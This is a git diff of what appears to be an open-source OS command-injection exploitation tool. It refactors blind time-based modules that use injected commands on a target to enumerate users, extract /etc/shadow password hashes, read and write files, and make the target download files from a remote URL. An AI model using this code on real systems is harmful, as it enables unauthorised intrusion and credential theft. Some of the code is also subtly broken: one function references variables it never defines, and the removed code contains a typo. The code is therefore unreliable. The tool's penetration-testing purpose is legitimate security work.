- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
-
- # Unix-like users enumeration.
- else:
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ checks.print_users(sys_users, filename, _)
"""
System passwords enumeration
"""
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
- if settings.TARGET_OS == "win":
- check_option = "--passwords"
- checks.unavailable_option(check_option)
- pass
+ cmd = settings.SYS_PASSES
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ _ = True
+ if output == False:
+ output = ""
+ session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- cmd = settings.SYS_PASSES
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- _ = True
- if output == False:
- output = ""
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- sys_passes = output
- if sys_passes == "":
- sys_passes = " "
- if sys_passes :
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
+ output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ sys_passes = output
+ checks.print_passes(sys_passes, filename, _)
"""
Single os-shell execution
@@ -550,13 +257,27 @@ def reset():
if menu.options.users:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
if menu.options.passwords:
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if settings.TARGET_OS == "win":
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+ system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
reset()
# eof
\ No newline at end of file
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 6e98e94f6b..b292b45526 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -19,6 +19,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
+from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
@@ -26,208 +27,97 @@
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
-
-"""
-Read a file from the target host.
-"""
-def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- _ = False
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
- else:
- cmd = settings.FILE_READ + file_to_read
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # The main command injection exploitation.
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- _ = True
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of the file '" + file_to_read + "'."
- print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- if settings.TARGET_OS == "win":
- import base64
- content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- info_msg = "Trying to write the content of the file '"
- info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
+ _ = False
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
- dest_to_write = dest_to_write.replace("\\","/")
- # Find path
- path = os.path.dirname(dest_to_write)
- path = path.replace("/","\\")
- # Change directory
- cmd = "cd " + path
+ cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Find filename
- filname = os.path.basename(dest_to_write)
- tmp_filname = "tmp_" + filname
- cmd = settings.FILE_WRITE + content + ">" + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Decode base 64 encoding
- cmd = "certutil -decode " + tmp_filname + " " + filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Delete tmp file
- cmd = "del " + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.delete_tmp(tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Check if file exists
- cmd = "if exist " + filname + " (echo " + filname + ")"
- if not menu.options.alter_shell :
- cmd = "'" + cmd + "'"
- dest_to_write = path + "\\" + filname
+ # cmd = "if exist " + fname + " (echo " + fname + ")"
+ # dest_to_write = dest_to_write + "\\" + fname
+ cmd = checks.check_file(dest_to_write)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
else:
- cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- shell = output
+ cmd = checks.write_content(content, dest_to_write)
+ cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
- # Check if file exists
- cmd = "echo $(ls " + dest_to_write + ")"
+ cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- if settings.TARGET_OS == "win":
- check_option = "--file-upload"
- checks.unavailable_option(check_option)
- pass
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
+ checks.file_upload_status(shell, dest_to_upload)
+
+"""
+Read a file from the target host.
+"""
+def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
+ _ = False
+ cmd, file_to_read = checks.file_content_to_read()
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ _ = True
else:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- info_msg = "Trying to upload the file from '"
- info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- shell = output
- shell = "".join(str(p) for p in shell)
- # Check if file exists!
- if settings.TARGET_OS == "win":
- cmd = "dir " + dest_to_upload + ")"
- else:
- cmd = "echo $(ls " + dest_to_upload + ")"
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- shell = output
- try:
- shell = "".join(str(p) for p in shell)
- except TypeError:
- pass
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
- print(settings.print_warning_msg(warn_msg))
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0:
+ print(settings.SINGLE_WHITESPACE)
+ checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
+ if menu.options.file_write:
+ file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if settings.FILE_ACCESS_DONE == False:
+ settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
- file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if settings.TARGET_OS == "win":
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
+ else:
+ file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
@@ -236,8 +126,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
- if menu.options.file_write:
- file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False:
- settings.FILE_ACCESS_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index e37e21d04a..d32dfd9ba6 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -407,10 +407,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
settings.LOAD_SESSION = False
- _ = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
- _ = True
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
@@ -429,12 +427,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
pass
else:
if menu.enumeration_options():
- _ = True
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False and _ == False:
- print(settings.SINGLE_WHITESPACE)
-
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index ffb04b0018..4d3f1f01fc 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1647,13 +1647,527 @@ def generate_char_pool(num_of_chars):
char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
+"""
+Print powershell version
+"""
+def print_ps_version(ps_version, filename, _):
+ try:
+ if float(ps_version):
+ settings.PS_ENABLED = True
+ ps_version = "".join(str(p) for p in ps_version)
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ # Output PowerShell's version number
+ info_msg = "Powershell version: " + ps_version
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Powershell version: " + ps_version + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ except ValueError:
+ warn_msg = "Heuristics have failed to identify the version of Powershell, "
+ warn_msg += "which means that some payloads or injection techniques may be failed."
+ print(settings.print_warning_msg(warn_msg))
+ settings.PS_ENABLED = False
+ ps_check_failed()
+
+
+"""
+Print hostname
+"""
+def print_hostname(shell, filename, _):
+ if shell:
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Hostname: " + str(shell)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = info_msg + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ else:
+ warn_msg = "Heuristics have failed to identify the hostname."
+ print(settings.print_warning_msg(warn_msg))
+
+"""
+Print current user info
+"""
+def print_current_user(cu_account, filename, _):
+ if cu_account:
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = info_msg + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ else:
+ warn_msg = "Heuristics have failed to fetch the current user."
+ print(settings.print_warning_msg(warn_msg))
+
+"""
+Print current user privs
+"""
+def print_current_user_privs(shell, filename, _):
+ priv = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ priv = "False"
+
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+
+ info_msg = "Current user has excessive privileges: " + str(priv)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
+"""
+Print OS info
+"""
+def print_os_info(target_os, target_arch, filename, _):
+ if target_os and target_arch:
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = info_msg + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ else:
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
+ print(settings.print_warning_msg(warn_msg))
+
+
+"""
+Print users enumeration.
+"""
+def print_users(sys_users, filename, _):
+ # Windows users enumeration.
+ if settings.TARGET_OS == "win":
+ try:
+ if sys_users[0] :
+ sys_users = "".join(str(p) for p in sys_users).strip()
+ sys.stdout.write(settings.SUCCESS_STATUS)
+ sys_users_list = re.findall(r"(.*)", sys_users)
+ sys_users_list = "".join(str(p) for p in sys_users_list).strip()
+ sys_users_list = ' '.join(sys_users_list.split())
+ sys_users_list = sys_users_list.split()
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Identified " + str(len(sys_users_list))
+ info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ count = 0
+ for user in range(0, len(sys_users_list)):
+ count = count + 1
+ if menu.options.privileges:
+ cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
+ if alter_shell:
+ cmd = cmd.replace("'","\\'")
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
+ check_privs = "".join(str(p) for p in check_privs).strip()
+ check_privs = re.findall(r"(.*)", check_privs)
+ check_privs = "".join(str(p) for p in check_privs).strip()
+ check_privs = check_privs.split()
+ if "Admin" in check_privs[0]:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
+ is_privileged_nh = " is admin user "
+ else:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
+ is_privileged_nh = " is regular user "
+ else :
+ is_privileged = ""
+ is_privileged_nh = ""
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
+ output_file.close()
+ else:
+ # print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
+ except TypeError:
+ pass
+ except IndexError:
+ # print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
